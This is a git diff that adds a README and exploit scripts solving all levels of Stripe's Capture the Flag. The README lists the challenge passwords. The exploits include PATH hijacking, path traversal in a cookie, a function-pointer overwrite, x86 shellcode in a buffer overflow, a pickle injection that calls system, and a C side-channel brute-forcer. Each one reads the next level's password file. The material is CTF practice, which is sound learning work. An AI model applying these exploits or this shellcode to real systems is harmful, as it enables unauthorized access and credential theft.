aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--README.txt16
-rw-r--r--level01.sh4
-rw-r--r--level02.sh2
-rw-r--r--level03.sh24
-rw-r--r--level04.sh5
-rw-r--r--level05.sh3
-rw-r--r--level06.c90
7 files changed, 144 insertions, 0 deletions
diff --git a/README.txt b/README.txt
new file mode 100644
index 0000000..1eaed5c
--- /dev/null
+++ b/README.txt
@@ -0,0 +1,16 @@
+These are solutions for Stripe's Capture the Flag.
+Written by Jason A. Donenfeld (zx2c4) Jason@zx2c4.com.
+
+info: https://stripe.com/blog/capture-the-flag
+
+ssh server: ctf.stri.pe
+
+username password
+level01 e9gx26YEb2
+level02 kxlVXUvzv
+level03 Or0m4UX07b
+level04 i5cBbPvPCpcP
+level05 fzfDGnSmd317
+level06 SF2w8qU1QDj
+the-flag theflagl0eFTtT5oi0nOTxO5
+
diff --git a/level01.sh b/level01.sh
new file mode 100644
index 0000000..1fa58a5
--- /dev/null
+++ b/level01.sh
@@ -0,0 +1,4 @@
+#!/bin/sh
+ln -s /bin/sh ./date
+echo "cat /home/level02/.password" | PATH=.:$PATH /levels/level01 | cut -d ' ' -f 3
+rm ./date
diff --git a/level02.sh b/level02.sh
new file mode 100644
index 0000000..ed4e43b
--- /dev/null
+++ b/level02.sh
@@ -0,0 +1,2 @@
+#!/bin/sh
+curl -s --digest --user level02:$(cat /home/level02/.password) -b user_details=../../../home/level03/.password localhost:80/level02.php | sed -n 's/ <p>\(.*\)/\1/p'
diff --git a/level03.sh b/level03.sh
new file mode 100644
index 0000000..7470514
--- /dev/null
+++ b/level03.sh
@@ -0,0 +1,24 @@
+#!/bin/sh
+
+# level03@ctf4:/tmp/tmp.lZLfBZODXa$ gdb /levels/level03
+# (gdb) break truncate_and_call
+# Breakpoint 1 at 0x8048780: file level03.c, line 57.
+# (gdb) run 1 something
+# Starting program: /levels/level03 1 something
+# Breakpoint 1, truncate_and_call (fns=0xffeecfec, index=1, user_string=0xffeed986 "something") at level03.c:57
+# 57 in level03.c
+# (gdb) n
+# 60 in level03.c
+# (gdb) p &buf
+# $1 = (char (*)[64]) 0xffeecf7c
+# (gdb) p fns
+# $2 = (fn_ptr *) 0xffeecfec
+# (gdb) p (0xffeecfec-0xffeecf7c)/4
+# $3 = 28
+# (gdb) p run
+# $4 = {int (const char *)} 0x804875b <run>
+# (gdb) quit
+
+ln -s /bin/sh "$(printf '\x5b\x87\x04\x08')"
+echo "cat /home/level04/.password" | PATH=.:$PATH /levels/level03 -28 "$(printf '\x5b\x87\x04\x08')"
+rm "$(printf '\x5b\x87\x04\x08')"
diff --git a/level04.sh b/level04.sh
new file mode 100644
index 0000000..fdf3eff
--- /dev/null
+++ b/level04.sh
@@ -0,0 +1,5 @@
+#!/bin/sh
+# $ objdump -S /levels/level04|egrep 'call \*%eax'|cut -d : -f 1|tr -d ' '|head -n 1
+# 804847f
+
+echo "cat /home/level05/.password" | /levels/level04 "$(perl -e 'print "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x90" x 1015 . "\x7f\x84\x04\x08"')"
diff --git a/level05.sh b/level05.sh
new file mode 100644
index 0000000..cf0d434
--- /dev/null
+++ b/level05.sh
@@ -0,0 +1,3 @@
+#!/bin/sh
+curl localhost:9020 -d "string; job: $(printf "cos\nsystem\n(S'cat /home/level06/.password > /tmp/level05password'\ntR.\n")" > /dev/null 2>&1
+cat /tmp/level05password
diff --git a/level06.c b/level06.c
new file mode 100644
index 0000000..6efac4e
--- /dev/null
+++ b/level06.c
@@ -0,0 +1,90 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <limits.h>
+#include <string.h>
+#include <sys/resource.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+
+int teststr(const char *str)
+{
+ int out[2];
+ pipe2(out, O_NONBLOCK);
+
+ if (fork()) {
+ int status;
+ close(out[1]);
+ wait(NULL);
+ unlink("./tmp");
+ usleep(30000); // This is way longer than it has to be
+ // for the purposes of looking awesome.
+ status = read(out[0], NULL, 1);
+ close(out[0]);
+ return status == 0;
+
+ } else {
+ int file;
+ char buffer[1025];
+ struct rlimit limit;
+
+ dup2(out[1], 1);
+ close(out[0]);
+
+ file = creat("./tmp", S_IWUSR | S_IRUSR);
+ fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK);
+ dup2(file, 2);
+
+ getrlimit(RLIMIT_FSIZE, &limit);
+ limit.rlim_cur = 33 + strlen(str);
+ setrlimit(RLIMIT_FSIZE, &limit);
+
+ snprintf(buffer, 1025, "%s~", str);
+ execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL);
+ }
+}
+int checkfull(const char *str)
+{
+ int out[2];
+ pipe(out);
+ if (fork()) {
+ char result[36 + strlen(str)];
+ memset(result, 0, sizeof(result));
+ close(out[1]);
+ wait(NULL);
+ read(out[0], &result, sizeof(result));
+ close(out[0]);
+ return result[sizeof(result) - 2] == 'W';
+ } else {
+ dup2(out[1], 2);
+ close(out[0]);
+ close(1);
+ execl("/levels/level06", "level06", "/home/the-flag/.password", str, NULL);
+ }
+}
+
+
+int main(int argc, char *argv[])
+{
+
+ char buffer[1024];
+ int i;
+ char c;
+ memset(buffer, 0, 1024);
+ for (i = 0; i < 1024; ++i) {
+ for (c = 32; c < 126; ++c) {
+ buffer[i] = c;
+ printf("\r\033[2K%s", buffer);
+ fflush(stdout);
+ if (teststr(buffer)) {
+ if (checkfull(buffer)) {
+ printf("\n");
+ return 0;
+ }
+ break;
+ }
+ }
+ }
+ printf("\r\033[2Kunknown\n");
+ return 1;
+}